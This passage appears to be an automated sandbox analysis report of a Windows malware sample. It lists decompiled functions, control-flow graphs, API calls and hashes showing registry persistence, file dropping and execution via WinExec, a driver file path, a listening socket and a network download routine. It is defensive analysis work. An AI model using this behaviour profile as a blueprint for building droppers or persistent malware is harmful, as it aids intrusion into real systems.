                                                            • Sleep.KERNEL32(?), ref: 029DBC67
                                                            • lstrlen.KERNEL32(?), ref: 029DBC74
                                                            • lstrcat.KERNEL32(?,?), ref: 029DBCAF
                                                            • lstrlen.KERNEL32(?), ref: 029DBCB9
                                                            • CharUpperA.USER32(?), ref: 029DBCCC
                                                            • lstrlen.KERNEL32(?), ref: 029DBCD9
                                                            • lstrcmpiA.KERNEL32(?,02A54044), ref: 029DBCF6
                                                            • lstrcmpiA.KERNEL32(?,02A5404C), ref: 029DBD0D
                                                            • lstrcpy.KERNEL32(?,?), ref: 029DBDAF
                                                            • lstrlen.KERNEL32(?), ref: 029DBDBC
                                                            • lstrcmpiA.KERNEL32(?,02A53F68), ref: 029DBDEA
                                                            • FindClose.KERNEL32(00000000), ref: 029DBE65
                                                            • Sleep.KERNEL32(00000400), ref: 029DBE70
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: lstrlen$FindSleeplstrcatlstrcmpi$CharFilelstrcpy$CloseFirstLowerNextUpper
                                                            • String ID: c:\windows$d
                                                            • API String ID: 4181266269-1584695526
                                                            • Opcode ID: 0a37f446babf7e8da0cb3f73ec890675ba2844ee14d1eb251bd5f6a3bdd6fd1c
                                                            • Instruction ID: a0f029c0216144b7318e0f6dc67ad1e132a2b0a76b705a4b907875753c5ae64d
                                                            • Opcode Fuzzy Hash: 0a37f446babf7e8da0cb3f73ec890675ba2844ee14d1eb251bd5f6a3bdd6fd1c
                                                            • Instruction Fuzzy Hash: E8B15BB1A00219ABCB14CF68D894BAF77B9FF88309F04C958F91A9B241DB34D955CF64
                                                            Function 029D1792 Relevance: 33.5, APIs: 17, Strings: 2, Instructions: 214stringregistryCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 834 29d1792-29d1806 call 29e3600 837 29d180d-29d185b lstrcpy GetUserNameA call 29e2ceb lstrlen 834->837 838 29d1808 834->838 842 29d185d-29d186a lstrcat 837->842 843 29d1870-29d187a 837->843 839 29d1aec-29d1af1 838->839 842->843 844 29d188b-29d189e lstrlen 843->844 845 29d18e6-29d1940 lstrlen wsprintfA RegOpenKeyExA 844->845 846 29d18a0-29d18e4 lstrlen 844->846 848 29d1964-29d1986 845->848 849 29d1942-29d195d RegCreateKeyA 845->849 846->844 852 29d198c-29d19d1 wsprintfA 848->852 853 29d1adf-29d1ae6 RegCloseKey 848->853 849->848 850 29d195f 849->850 850->839 854 29d19d7-29d19dd 852->854 855 29d1a81-29d1a88 852->855 853->839 858 29d1a5c-29d1a7b call 29d16fd lstrcpy 854->858 859 29d1a25-29d1a31 854->859 860 29d19e4-29d19ef 854->860 861 29d19f4-29d1a02 854->861 862 29d1a04-29d1a12 854->862 863 29d1a14-29d1a23 854->863 864 29d1a33-29d1a5a call 29d16fd lstrcpy 854->864 856 29d1aad-29d1ad4 lstrlen RegSetValueExA 855->856 857 29d1a8a-29d1aab RegSetValueExA 855->857 867 29d1ada 856->867 857->867 858->855 859->855 860->855 861->855 862->855 863->855 864->855
                                                            APIs
                                                            • lstrcpy.KERNEL32(00000000,Software\), ref: 029D1819
                                                            • GetUserNameA.ADVAPI32(00000000,?), ref: 029D182D
                                                            • lstrlen.KERNEL32(?), ref: 029D1852
                                                            • lstrcat.KERNEL32(?,02A53CBC), ref: 029D186A
                                                            • lstrlen.KERNEL32(?), ref: 029D1892
                                                            • lstrlen.KERNEL32(?), ref: 029D18D7
                                                            • lstrlen.KERNEL32(?,\%d,?), ref: 029D1907
                                                            • wsprintfA.USER32 ref: 029D1915
                                                            • RegOpenKeyExA.KERNEL32(80000001,?,00000000,000F003F,?), ref: 029D1938
                                                            • RegCreateKeyA.ADVAPI32(80000001,?,?), ref: 029D1955
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: lstrlen$CreateNameOpenUserlstrcatlstrcpywsprintf
                                                            • String ID: Software\$\%d
                                                            • API String ID: 939812716-407207646
                                                            • Opcode ID: 6d6084d287cb7efacc0219a7eb9733f4046ac64c27b9fa465a4e3b53d62b909e
                                                            • Instruction ID: 8ac129e0fc811f9b05087f0613ca3ec622d88374930565721d79f71ae9b48f1a
                                                            • Opcode Fuzzy Hash: 6d6084d287cb7efacc0219a7eb9733f4046ac64c27b9fa465a4e3b53d62b909e
                                                            • Instruction Fuzzy Hash: 9F9150B6D44228AFDB18CF54DC45BEAB779BB58301F0085D9E70EA6240DB709AC5CFA1
                                                            Function 00BD3044 Relevance: 33.4, APIs: 4, Strings: 15, Instructions: 171fileprocessCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 870 bd3044-bd3074 GetPEB 871 bd3077-bd309a 870->871 872 bd309d-bd30a0 871->872 873 bd31ee-bd322b CreateFileA 872->873 874 bd30a6-bd30bc 872->874 898 bd322d-bd3230 873->898 899 bd3265-bd3269 873->899 875 bd30be-bd30c5 874->875 876 bd3110-bd3116 874->876 875->876 877 bd30c7-bd30ce 875->877 879 bd3129-bd312f 876->879 880 bd3118-bd311f 876->880 877->876 881 bd30d0-bd30d7 877->881 883 bd3148-bd314e 879->883 884 bd3131-bd3138 879->884 880->879 882 bd3121-bd3124 880->882 881->876 887 bd30d9-bd30dd 881->887 889 bd31bb-bd31c0 882->889 885 bd3167-bd316f 883->885 886 bd3150-bd3157 883->886 884->883 890 bd313a-bd3141 884->890 895 bd3188-bd318e 885->895 896 bd3171-bd3178 885->896 886->885 894 bd3159-bd3160 886->894 887->876 897 bd30df-bd30e3 887->897 892 bd31e0-bd31e9 889->892 893 bd31c2-bd31c5 889->893 890->883 891 bd3143-bd3146 890->891 891->889 892->872 893->892 900 bd31c7-bd31ca 893->900 894->885 901 bd3162-bd3165 894->901 904 bd31a7-bd31ad 895->904 905 bd3190-bd3197 895->905 896->895 902 bd317a-bd3181 896->902 897->889 903 bd30e9-bd310b 897->903 906 bd3232-bd3238 898->906 900->892 907 bd31cc-bd31cf 900->907 901->889 902->895 908 bd3183-bd3186 902->908 903->871 904->889 910 bd31af-bd31b6 904->910 905->904 909 bd3199-bd31a0 905->909 911 bd323a-bd3242 906->911 912 bd3246-bd3252 WriteFile 906->912 907->892 915 bd31d1-bd31d4 907->915 908->889 909->904 917 bd31a2-bd31a5 909->917 910->889 918 bd31b8 910->918 911->906 913 bd3244 911->913 914 bd3255-bd3262 FindCloseChangeNotification WinExec 912->914 913->914 914->899 915->892 919 bd31d6-bd31d9 915->919 917->889 918->889 919->892 920 bd31db-bd31de 919->920 920->873 920->892
                                                            APIs
                                                            • CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00BD3223
                                                            • WriteFile.KERNEL32(00000000,FFFEB32F,00003E00,?,00000000), ref: 00BD3252
                                                            • FindCloseChangeNotification.KERNEL32(00000000), ref: 00BD3256
                                                            • WinExec.KERNEL32(?,00000005), ref: 00BD3262
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3735613654.0000000000BD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                            • Associated: 00000000.00000002.3733928280.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AF9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B07000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B92000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B9F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BD9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3784320260.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_400000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: File$ChangeCloseCreateExecFindNotificationWrite
                                                            • String ID: .dll$Clos$Crea$GetM$GetT$Kern$WinE$Writ$athA$catA$dleA$el32$lstr$odul$plgMeM.exe
                                                            • API String ID: 2234911746-1583604882
                                                            • Opcode ID: f69c7ffa96fe8e6d55f101f18bf5b44079a33a97131bba0e215afc76b789a864
                                                            • Instruction ID: 19281b5c53551d9296335ec2377bc6bf65836c59fef15d80c398563687de5bd7
                                                            • Opcode Fuzzy Hash: f69c7ffa96fe8e6d55f101f18bf5b44079a33a97131bba0e215afc76b789a864
                                                            • Instruction Fuzzy Hash: D861E474D012169BCF248F94C884AAEF7F0FF44B15F2582ABD505BA302E3759A81CB96
                                                            Function 029D57A0 Relevance: 31.6, APIs: 17, Strings: 1, Instructions: 141stringsleepfileCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 921 29d57a0-29d5830 GetTempPathA lstrlen 922 29d5844-29d584b 921->922 923 29d5832-29d583e lstrcat 921->923 924 29d59cf-29d59db RtlExitUserThread 922->924 925 29d5851-29d58c1 lstrlen lstrcpy lstrcat call 29d1000 FindFirstFileA 922->925 923->922 928 29d59a9-29d59b0 925->928 929 29d58c7-29d58dd FindNextFileA 925->929 930 29d59bf-29d59ca Sleep 928->930 931 29d59b2-29d59b9 FindClose 928->931 929->928 932 29d58e3-29d5928 lstrcat lstrlen * 2 929->932 930->922 931->930 933 29d592a-29d5944 lstrcmpiA 932->933 934 29d5957-29d5962 932->934 933->934 935 29d5946-29d594f call 29d5719 933->935 936 29d5999-29d59a4 Sleep 934->936 937 29d5964-29d596e 934->937 941 29d5954 935->941 936->929 937->936 939 29d5970-29d5988 lstrcmpiA 937->939 939->936 940 29d598a-29d5996 call 29d5758 939->940 940->936 941->934
                                                            APIs
                                                            • GetTempPathA.KERNEL32(00000100,00000000), ref: 029D5812
                                                            • lstrlen.KERNEL32(00000000), ref: 029D581F
                                                            • lstrcat.KERNEL32(00000000,02A555E0), ref: 029D583E
                                                            • lstrlen.KERNEL32(00000000), ref: 029D5858
                                                            • lstrcpy.KERNEL32(00000000,00000000), ref: 029D5872
                                                            • lstrcat.KERNEL32(00000000,02A555E4), ref: 029D5884
                                                            • FindFirstFileA.KERNEL32(00000000,00000000), ref: 029D58AE
                                                            • FindNextFileA.KERNEL32(000000FF,00000000), ref: 029D58D5
                                                            • lstrcat.KERNEL32(00000000,?), ref: 029D58FF
                                                            • lstrlen.KERNEL32(00000000), ref: 029D590C
                                                            • lstrlen.KERNEL32(?), ref: 029D591F
                                                            • lstrcmpiA.KERNEL32(00000000,02A54044), ref: 029D593C
                                                            • lstrcmpiA.KERNEL32(00000000,_Rar), ref: 029D5980
                                                            • Sleep.KERNEL32(00000100), ref: 029D599E
                                                            • FindClose.KERNEL32(00000000), ref: 029D59B9
                                                            • Sleep.KERNEL32(000927C0), ref: 029D59C4
                                                            • RtlExitUserThread.NTDLL(00000000), ref: 029D59D1
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: lstrlen$Findlstrcat$FileSleeplstrcmpi$CloseExitFirstNextPathTempThreadUserlstrcpy
                                                            • String ID: _Rar
                                                            • API String ID: 3155258034-536834240
                                                            • Opcode ID: 13290148fc7c7cbe893ad1b86a24b0033f3597b70efdb021030a45127f2e9323
                                                            • Instruction ID: 4b462be0aa04c37e99ffd4bab55152438a9f78f636599be1e167c26519e4f411
                                                            • Opcode Fuzzy Hash: 13290148fc7c7cbe893ad1b86a24b0033f3597b70efdb021030a45127f2e9323
                                                            • Instruction Fuzzy Hash: 71516F71D003289BDB65CBA0DC48BEF7779AB48309F4049E8E60DA6140DF749B89CF51
                                                            Function 029D3911 Relevance: 15.1, APIs: 10, Instructions: 122networkthreadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • htons.WS2_32(000012F1), ref: 029D39D3
                                                            • socket.WS2_32(00000002,00000002,00000000), ref: 029D39F0
                                                            • setsockopt.WS2_32(?,0000FFFF,00001002,00100000,00000004), ref: 029D3A2E
                                                            • bind.WS2_32(?,00000002,00000010), ref: 029D3A44
                                                            • closesocket.WS2_32(?), ref: 029D3B28
                                                            • RtlExitUserThread.NTDLL(00000000), ref: 029D3B30
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: ExitThreadUserbindclosesockethtonssetsockoptsocket
                                                            • String ID:
                                                            • API String ID: 3895830221-0
                                                            • Opcode ID: 80cfea000950770d66a287a1d7baded635e13560ca889609ed8d07239fe36ba7
                                                            • Instruction ID: 283eda4bfb991af1bd1e8150faa1369249e6c0a26516f72b336fbf3bb5f655aa
                                                            • Opcode Fuzzy Hash: 80cfea000950770d66a287a1d7baded635e13560ca889609ed8d07239fe36ba7
                                                            • Instruction Fuzzy Hash: 0B510974E403A8EBEB309F54CD49BD9B6B4BF48701F0085D9E289A6280DBF45AC59F19
                                                            Function 029DB888 Relevance: 13.6, APIs: 9, Instructions: 146networkfilestringCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • lstrcpy.KERNEL32(00000000,00000000), ref: 029DB8E6
                                                              • Part of subcall function 029D5B02: GetTickCount.KERNEL32 ref: 029D5B50
                                                              • Part of subcall function 029D5B02: GetTickCount.KERNEL32 ref: 029D5B71
                                                              • Part of subcall function 029D5B02: lstrlen.KERNEL32(029DB8F8,02A5400C,00000000,?,?,?,?,029DB8F8,00000000), ref: 029D5B83
                                                              • Part of subcall function 029D5B02: wsprintfA.USER32 ref: 029D5B8F
                                                            • InternetOpenA.WININET(02A53A50,00000001,00000000,00000000,00000000), ref: 029DB95B
                                                            • InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,84000000,00000000), ref: 029DB98D
                                                            • CreateFileA.KERNEL32(00000000,40000000,00000002,00000000,00000002,00000080,00000000), ref: 029DB9C2
                                                            • InternetReadFile.WININET(00000000,00000000,00000400,00000000), ref: 029DB9E8
                                                            • WriteFile.KERNEL32(000000FF,00000000,00000000,00000104,00000000), ref: 029DBA30
                                                            • CloseHandle.KERNEL32(?), ref: 029DBAA0
                                                            • InternetCloseHandle.WININET(00000000), ref: 029DBAB6
                                                            • InternetCloseHandle.WININET(00000000), ref: 029DBACC
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: Internet$CloseFileHandle$CountOpenTick$CreateReadWritelstrcpylstrlenwsprintf
                                                            • String ID:
                                                            • API String ID: 999627789-0
                                                            • Opcode ID: 5b0541b3a2812aa336f4bcdf651d3d46958b8fb543ad52631b001d4ab25ce18c
                                                            • Instruction ID: 4564a6e9416adda643f699113ade1126e2f6fc68c8ce393f712e7d0a130d0420
                                                            • Opcode Fuzzy Hash: 5b0541b3a2812aa336f4bcdf651d3d46958b8fb543ad52631b001d4ab25ce18c
                                                            • Instruction Fuzzy Hash: E1511C7194461CEBDF74CF54CC58BEAB7B8AB4430AF0085E9E249A6180DBB45BD4CF51
                                                            Function 029DE6F0 Relevance: 89.6, APIs: 47, Strings: 4, Instructions: 383registrystringlibraryCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 426 29de6f0-29de779 call 29e3600 call 29ddc56 LoadLibraryA 431 29de77b-29de7c0 GetProcAddress * 3 426->431 432 29de7c5-29de7df LoadLibraryA 426->432 431->432 433 29de844-29de866 RegOpenKeyExA 432->433 434 29de7e1-29de83f GetProcAddress * 4 432->434 435 29de868-29de89a RegSetValueExA RegCloseKey 433->435 436 29de8a0-29de8c2 RegOpenKeyExA 433->436 434->433 435->436 437 29de8fc-29de945 lstrcpy lstrcat RegOpenKeyExA 436->437 438 29de8c4-29de8f6 RegSetValueExA RegCloseKey 436->438 439 29de947-29de9ac GetModuleFileNameA wsprintfA lstrlen RegSetValueExA RegCloseKey 437->439 440 29de9b2-29de9d4 RegOpenKeyExA 437->440 438->437 439->440 441 29dea68-29dea96 GetComputerNameA lstrlen 440->441 442 29de9da-29dea62 RegSetValueExA * 3 RegCloseKey 440->442 443 29dea98-29deadf lstrlen 441->443 444 29deae6-29deb23 CreateFileMappingA call 29d1444 call 29d1b0e lstrlen 441->444 442->441 443->444 449 29deb2a-29deb6b 444->449 450 29deb25 call 29d59de 444->450 452 29deb6d-29deb77 449->452 453 29deb79-29deba5 call 29d13e8 GetTickCount wsprintfA 449->453 450->449 452->453 454 29deba8-29debb8 452->454 453->454 457 29debbe-29debce 454->457 458 29dec82-29decbb lstrcat GetSystemDirectoryA lstrlen 454->458 457->458 461 29debd4-29debe3 457->461 459 29deccd-29ded34 lstrcat * 2 GetWindowsDirectoryA CharLowerA GlobalAlloc * 2 458->459 460 29decbd-29decc7 lstrcat 458->460 460->459 461->458 462 29debe9-29dec1f 461->462 463 29dec2f 462->463 464 29dec21-29dec2d 462->464 465 29dec39-29dec79 lstrlen wsprintfA 463->465 464->465 466 29dec7d 465->466 467 29dec7b 465->467 466->454 467->458
                                                            APIs
                                                              • Part of subcall function 029DDC56: RegOpenKeyExA.KERNEL32(80000001,02A53DA8,00000000,000F003F,?,?), ref: 029DDC9D
                                                              • Part of subcall function 029DDC56: RegSetValueExA.KERNELBASE(?,02A53DE4,00000000,00000004,00000002,00000004), ref: 029DDCCB
                                                              • Part of subcall function 029DDC56: RegCloseKey.KERNEL32(?), ref: 029DDCD8
                                                              • Part of subcall function 029DDC56: lstrcpy.KERNEL32(00000000,02A53EAC), ref: 029DDD33
                                                              • Part of subcall function 029DDC56: lstrcat.KERNEL32(00000000,02A53EA4), ref: 029DDD46
                                                            • LoadLibraryA.KERNEL32(02A53AAC), ref: 029DE766
                                                            • GetProcAddress.KERNEL32(00000000,02A540E0), ref: 029DE789
                                                            • GetProcAddress.KERNEL32(00000000,02A540F4), ref: 029DE7A1
                                                            • GetProcAddress.KERNEL32(00000000,02A54104), ref: 029DE7BA
                                                            • LoadLibraryA.KERNEL32(02A541E8), ref: 029DE7CC
                                                            • GetProcAddress.KERNEL32(00000000,02A5422C), ref: 029DE7EF
                                                            • GetProcAddress.KERNEL32(00000000,02A54204), ref: 029DE808
                                                            • GetProcAddress.KERNEL32(00000000,02A54218), ref: 029DE820
                                                            • GetProcAddress.KERNEL32(00000000,02A541F4), ref: 029DE839
                                                            • RegOpenKeyExA.KERNEL32(80000001,02A53B2C,00000000,000F003F,00000000), ref: 029DE85E
                                                            • RegSetValueExA.KERNEL32(00000000,02A53B18,00000000,00000004,00000000,00000004), ref: 029DE88D
                                                            • RegCloseKey.KERNEL32(00000000), ref: 029DE89A
                                                            • RegOpenKeyExA.KERNEL32(80000002,02A53C44,00000000,000F003F,00000000), ref: 029DE8BA
                                                            • RegSetValueExA.KERNEL32(00000000,02A53C80,00000000,00000004,00000000,00000004), ref: 029DE8E9
                                                            • RegCloseKey.ADVAPI32(00000000), ref: 029DE8F6
                                                            • lstrcpy.KERNEL32(00000000,02A53CE0), ref: 029DE90A
                                                            • lstrcat.KERNEL32(00000000,02A53D88), ref: 029DE91D
                                                            • RegOpenKeyExA.KERNEL32(80000002,00000000,00000000,000F003F,00000000), ref: 029DE93D
                                                            • GetModuleFileNameA.KERNEL32(00000000,00000000,00000200), ref: 029DE955
                                                            • wsprintfA.USER32 ref: 029DE96F
                                                            • lstrlen.KERNEL32(?), ref: 029DE97F
                                                            • RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?,00000000), ref: 029DE99F
                                                            • RegCloseKey.ADVAPI32(?), ref: 029DE9AC
                                                            • RegOpenKeyExA.KERNEL32(80000002,02A53CE0,00000000,000F003F,00000000), ref: 029DE9CC
                                                            • RegSetValueExA.KERNELBASE(00000000,02A540A0,00000000,00000004,00000000,00000004), ref: 029DE9FF
                                                            • RegSetValueExA.KERNELBASE(00000000,02A540B0,00000000,00000004,00000000,00000004), ref: 029DEA2A
                                                            • RegSetValueExA.KERNEL32(00000000,02A540C8,00000000,00000004,00000001,00000004), ref: 029DEA55
                                                            • RegCloseKey.KERNEL32(00000000), ref: 029DEA62
                                                            • GetComputerNameA.KERNEL32(00000000,00000080), ref: 029DEA80
                                                            • lstrlen.KERNEL32(00000000), ref: 029DEA8D
                                                            • lstrlen.KERNEL32(00000000), ref: 029DEAAB
                                                            • CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00015400,02A53CC8), ref: 029DEAF9
                                                            • lstrlen.KERNEL32(42950784062), ref: 029DEB1B
                                                            • GetTickCount.KERNEL32 ref: 029DEB8C
                                                            • wsprintfA.USER32 ref: 029DEB9F
                                                            • lstrlen.KERNEL32(?,02A5572C,0000006E), ref: 029DEC4C
                                                            • wsprintfA.USER32 ref: 029DEC5A
                                                            • lstrcat.KERNEL32(?,02A53BC4), ref: 029DEC90
                                                            • GetSystemDirectoryA.KERNEL32(C:\Windows\system32\drivers\jrkpjn.sys,00000080), ref: 029DECA0
                                                            • lstrlen.KERNEL32(C:\Windows\system32\drivers\jrkpjn.sys), ref: 029DECAB
                                                            • lstrcat.KERNEL32(C:\Windows\system32\drivers\jrkpjn.sys,02A55730), ref: 029DECC7
                                                            • lstrcat.KERNEL32(C:\Windows\system32\drivers\jrkpjn.sys,02A53BE0), ref: 029DECD9
                                                            • lstrcat.KERNEL32(C:\Windows\system32\drivers\jrkpjn.sys,?), ref: 029DECEB
                                                            • GetWindowsDirectoryA.KERNEL32(c:\windows,00000104), ref: 029DECFB
                                                            • CharLowerA.USER32(c:\windows), ref: 029DED06
                                                            • GlobalAlloc.KERNEL32(00000040,00021000), ref: 029DED13
                                                            • GlobalAlloc.KERNEL32(00000040,00021000), ref: 029DED25
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: AddressProcValue$lstrcatlstrlen$CloseOpen$wsprintf$AllocDirectoryFileGlobalLibraryLoadNamelstrcpy$CharComputerCountCreateLowerMappingModuleSystemTickWindows
                                                            • String ID: 42950784062$C:\Windows\system32\drivers\jrkpjn.sys$c:\windows$n
                                                            • API String ID: 3069067183-2788092830
                                                            • Opcode ID: 2c10acb8886d8fe2a861865857b88a5d57bedbc1b8b1d0f621d6e33b9969e3b3
                                                            • Instruction ID: 9ffce5064bb66a3c81024f93b023da6e8be1e3256631a9f5df207cde6149a478
                                                            • Opcode Fuzzy Hash: 2c10acb8886d8fe2a861865857b88a5d57bedbc1b8b1d0f621d6e33b9969e3b3
                                                            • Instruction Fuzzy Hash: D8F182B5D807249FEB10CB60DC58FAB77B9BB48702F008998E709E7181DB749A95CF54
                                                            Function 029DDD99 Relevance: 81.0, APIs: 42, Strings: 4, Instructions: 450sleepfiletimeCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
